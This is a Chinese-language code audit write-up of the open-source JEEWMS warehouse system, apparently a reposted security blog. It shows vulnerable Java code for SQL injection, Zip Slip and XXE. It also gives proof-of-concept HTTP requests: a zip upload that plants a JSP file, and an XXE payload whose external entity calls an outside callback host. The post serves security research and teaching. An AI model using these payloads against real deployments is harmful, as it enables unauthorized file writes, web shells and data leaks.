JEEWMS代码审计

admin 2025年3月5日20:37:19评论17 views字数 9195阅读30分39秒阅读模式

前言

对JEEWMS开源项目的代码审计分析过程,花了一点时间审计出来sql注入漏洞,Zip Slip 漏洞,XXE漏洞。xss漏洞也有但是没必要记录了,在系统后台基本上都有xss

文章目录

环境搭建代码审计sql注入漏洞    Zip Slip 漏洞    XXE漏洞

环境搭建

源码下载地址

https://gitee.com/erzhongxmu/JEEWMS
JEEWMS代码审计
目录结构
JEEWMS代码审计

创建数据库

从下载的源码中database 文件夹中wms20241105数据库备份.nb3 这个就是sql文件,按下图还原sql

选中数据库->备份->还原备份从

JEEWMS代码审计
JEEWMS代码审计

配置文件

dbconfig.properties 填入数据账户密码

JEEWMS代码审计

当前java版本

JEEWMS代码审计

Maven 输入命令运行程序

mvn tomcat7:run

代码审计

sql注入

漏洞路径 JEEWMSsrcmainjavaorgjeecgframeworkwebcgformcontrollerbuildCgFormBuildController.java

@RequestMapping(params = "mobileForm")publicvoidmobileForm(HttpServletRequest request,HttpServletResponse response) {  StringtableName=request.getParameter("tableName");  Stringsql="select form_template_mobile from cgform_head where table_name = '"+tableName+"'";     Map<String, Object> mp = cgFormFieldService.findOneForJdbc(sql);  if(mp.containsKey("form_template_mobile") && oConvertUtils.isNotEmpty(mp.get("form_template_mobile"))){        String urlTemplateName=request.getParameter("olstylecode");  if(oConvertUtils.isEmpty(urlTemplateName)){           request.setAttribute("olstylecode", mp.get("form_template_mobile").toString().trim());        }     }     ftlForm(tableName,"",request,response);  }

由于在 sql 查询中直接拼接了 tableName 参数,这就使得代码容易受到 SQL 注入攻击。攻击者可以利用这一点构造恶意的 tableName

JEEWMS代码审计
JEEWMS代码审计
JEEWMS代码审计

Zip Slip 漏洞

Zip Slip 漏洞 是一种与文件解压缩(尤其是 ZIP 文件)相关的漏洞,攻击者可以通过构造特殊的 ZIP 文件,利用该漏洞将文件解压到系统上的任意目录,从而导致文件覆盖或任意文件写入。该漏洞常见于不安全的文件解压实现中。

JEEWMSsrcmainjavaorgjeecgframeworkwebcgformservicemigrateMigrateForm.java

在unzip函数中实现了使用ZipFile类解压zip文件的过程,在解压过程中并没有对zip文件内容进行过滤导致了Zip Slip 漏洞

publicstaticvoidunzip(String zipFilePath, String targetPath)throws IOException {OutputStreamos=null;InputStreamis=null;ZipFilezipFile=null;try {            zipFile = newZipFile(zipFilePath);StringdirectoryPath="";if (null == targetPath || "".equals(targetPath)) {                directoryPath = zipFilePath.substring(0, zipFilePath.lastIndexOf("."));            } else {                directoryPath = targetPath;            }EnumerationentryEnum= zipFile.getEntries();if (null != entryEnum) {ZipEntryzipEntry=null;while (entryEnum.hasMoreElements()) {                    zipEntry = (ZipEntry) entryEnum.nextElement();if (zipEntry.isDirectory()) {                        directoryPath = directoryPath + File.separator + zipEntry.getName();                        org.jeecgframework.core.util.LogUtil.info(directoryPath);continue;                    }if (zipEntry.getSize() > 0) {// 文件FiletargetFile= buildFile(directoryPath + File.separator + zipEntry.getName(), false);                        os = newBufferedOutputStream(newFileOutputStream(targetFile));                        is = zipFile.getInputStream(zipEntry);byte[] buffer = newbyte[4096];intreadLen=0;while ((readLen = is.read(buffer, 04096)) >= 0) {                            os.write(buffer, 0, readLen);                        }                        os.flush();                        os.close();                    } else {// 空目录                        buildFile(directoryPath + File.separator + zipEntry.getName(), true);                    }                }            }        } catch (IOException ex) {throw ex;        } finally {if (null != zipFile) {                zipFile = null;            }if (null != is) {                is.close();            }if (null != os) {                os.close();            }        }    }

在 JEEWMSsrcmainjavaorgjeecgframeworkwebcgformcontrollerbuildCgformSqlController.java 中调用了unzip方法

JEEWMS代码审计

获取文件目录

StringrealPath= uploadFile.getMultipartRequest().getSession()        .getServletContext().getRealPath("\")        + path;// 文件的硬盘真实路径

MigrateForm.unzip(savePath, ""); 如果这里的savePath目录没有指定到了可解析目录,也是不存在漏洞,上传不解析等于白给

/**     * 导入Form(采用SQL方式)     *      * @param request     * @return     * @throws Exception     */@RequestMapping(params = "doMigrateIn", method = RequestMethod.POST)@ResponseBodypublic AjaxJson doMigrateIn(HttpServletRequest request,            HttpServletResponse response) {Stringmessage=null;AjaxJsonj=newAjaxJson();Stringls_file="";UploadFileuploadFile=newUploadFile(request, ls_file);        uploadFile.setCusPath("");        uploadFile.setSwfpath("");Stringuploadbasepath= uploadFile.getBasePath();// 文件上传根目录if (uploadbasepath == null) {            uploadbasepath = ResourceUtil.getConfigByName("uploadpath");        }Stringpath= uploadbasepath + "\";// 文件保存在硬盘的相对路径StringrealPath= uploadFile.getMultipartRequest().getSession()                .getServletContext().getRealPath("\")                + path;// 文件的硬盘真实路径        message = null;try {Filefile=newFile(realPath);if (!file.exists()) {                file.mkdir();// 若目录不存在,创建根目录            }            uploadFile.getMultipartRequest().setCharacterEncoding("UTF-8");MultipartHttpServletRequestmultipartRequest= uploadFile                    .getMultipartRequest();            Map<String, MultipartFile> fileMap = multipartRequest.getFileMap();StringfileName="";for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {MultipartFilemf= entity.getValue();// 获取上传文件对象                fileName = mf.getOriginalFilename();// 获取文件名StringsavePath= realPath + fileName;Filesavefile=newFile(savePath);Stringls_tmp= savefile.getName();/*String sqlfilename = realPath                        + ls_tmp.substring(0, ls_tmp.lastIndexOf(".")) + "\"                        + ls_tmp.substring(0, ls_tmp.lastIndexOf(".")) + ".sql";*/                FileCopyUtils.copy(mf.getBytes(), savefile);                MigrateForm.unzip(savePath, "");StringsqlFileDir= realPath + ls_tmp.substring(0, ls_tmp.lastIndexOf("."));FilesqlDirFile=newFile(sqlFileDir);Stringsqlfilename= sqlDirFile.getPath() + "/";if(sqlDirFile.isDirectory()){                    sqlfilename += sqlDirFile.list()[0];                }/*OfficeHtmlUtil officeHtml = new OfficeHtmlUtil();                String sqlStr = officeHtml.getInfo(sqlfilename);                String[] sqlStrs = sqlStr.split(";");                for (String exesql : sqlStrs) {                    if (!StringUtil.isEmpty(exesql) && !"n".equals(exesql)) {                        jdbcTemplate.execute(exesql);                    }                }*/XStreamxStream=newXStream();                xStream.processAnnotations(DBTable.class);@SuppressWarnings("unchecked")                List<DBTable> dbTables = (List<DBTable>) xStream.fromXML(newFile(sqlfilename));if(!dbTables.isEmpty() && dbTables.size()>0){for (DBTable dbTable : dbTables) {                        mergeMigrateInComponent(dbTable);                    }                }            }        } catch (Exception e1) {            e1.printStackTrace();            LogUtil.error(e1.toString());            message = e1.toString();        }if (StringUtil.isNotEmpty(message)) {            j.setMsg("SQL文件导入失败," + message);        } else {            j.setMsg("SQL文件导入成功");        }return j;    }

创建一个zip压缩包,里面放入jsp文件

JEEWMS代码审计

然后上传zip

POST /jeewms/cgformSqlController.do?doMigrateIn HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=353EFA8BAB4FAEADF0B3C95A2F497254; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Length: 131------WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Disposition: form-data; name="fiels";filename="11.zip"{{file(C:UsersAnonymousDesktop1.zip)}}------WebKitFormBoundaryiaBvY7jyMFN6UjaI--
JEEWMS代码审计
JEEWMS代码审计
JEEWMS代码审计

XXE漏洞

XXE(XML External Entity)漏洞 是指攻击者通过构造恶意的 XML 文件,在 XML 解析过程中触发外部实体的加载,从而可能泄露敏感信息、进行服务器端请求伪造(SSRF)攻击,甚至远程执行代码。

JEEWMSsrcmainjavaorgjeecgframeworkwebsystemcontrollercoreCommonController.java

  • • 文件上传:用户可以上传一个 XML 文件,代码检查了文件扩展名和大小,确保文件符合要求。
  • • XML 解析:上传的 XML 文件会被传递给 systemService.parserXml(savePath),这里会对 XML 文件进行解析。
@RequestMapping(params = "parserXml")@ResponseBodypublic AjaxJson parserXml(HttpServletRequest request, HttpServletResponse response) {  AjaxJsonjson=newAjaxJson();  StringallowedExtension=".xml"// 允许的文件扩展名  longmaxSize=1024 * 1024 * 100// 最大文件大小100MB  StringfileName=null;  StringctxPath= request.getSession().getServletContext().getRealPath("/") + "uploads/"// 更改存储位置  // 确保上传目录存在  Filefile=newFile(ctxPath);  if (!file.exists()) {        file.mkdirs();     }  MultipartHttpServletRequestmultipartRequest= (MultipartHttpServletRequest) request; // 直接从request获取     Iterator<String> fileNames = multipartRequest.getFileNames();  while (fileNames.hasNext()) {  StringformFieldName= fileNames.next();  MultipartFilemf= multipartRequest.getFile(formFieldName);  // 检查文件类型和大小  if (mf.isEmpty() || !mf.getOriginalFilename().toLowerCase().endsWith(allowedExtension) || mf.getSize() > maxSize) {           json.setMsg("文件类型错误或文件大小超过100M或文件为空");           json.setSuccess(false);  return json;        }  // 重命名文件        fileName = UUID.randomUUID().toString() + "_" + mf.getOriginalFilename();  StringsavePath= ctxPath + fileName;  try {  // 保存文件           mf.transferTo(newFile(savePath));           systemService.parserXml(savePath); // 使用完整路径           json.setSuccess(true);        } catch (IOException e) {           e.printStackTrace();           json.setMsg("Failed to save file.");           json.setSuccess(false);        }     }  return json;  }
POST /jeewms/commonController.do?parserXml HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateCookie: JSESSIONID=353EFA8BAB4FAEADF0B3C95A2F497254; JEECGINDEXSTYLE=ace; ZINDEXNUMBER=1990Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Length: 131------WebKitFormBoundaryiaBvY7jyMFN6UjaIContent-Disposition: form-data; name="file";filename="11.xml"<?xml version = "1.0"?><!DOCTYPE ANY [    <!ENTITY f SYSTEM "http://ipygfzlbex.dgrh3.cn">]><x>&f;</x>------WebKitFormBoundaryiaBvY7jyMFN6UjaI--
JEEWMS代码审计

原文始发于微信公众号(实战安全研究):JEEWMS代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:37:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JEEWMS代码审计https://cn-sec.com/archives/3798173.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息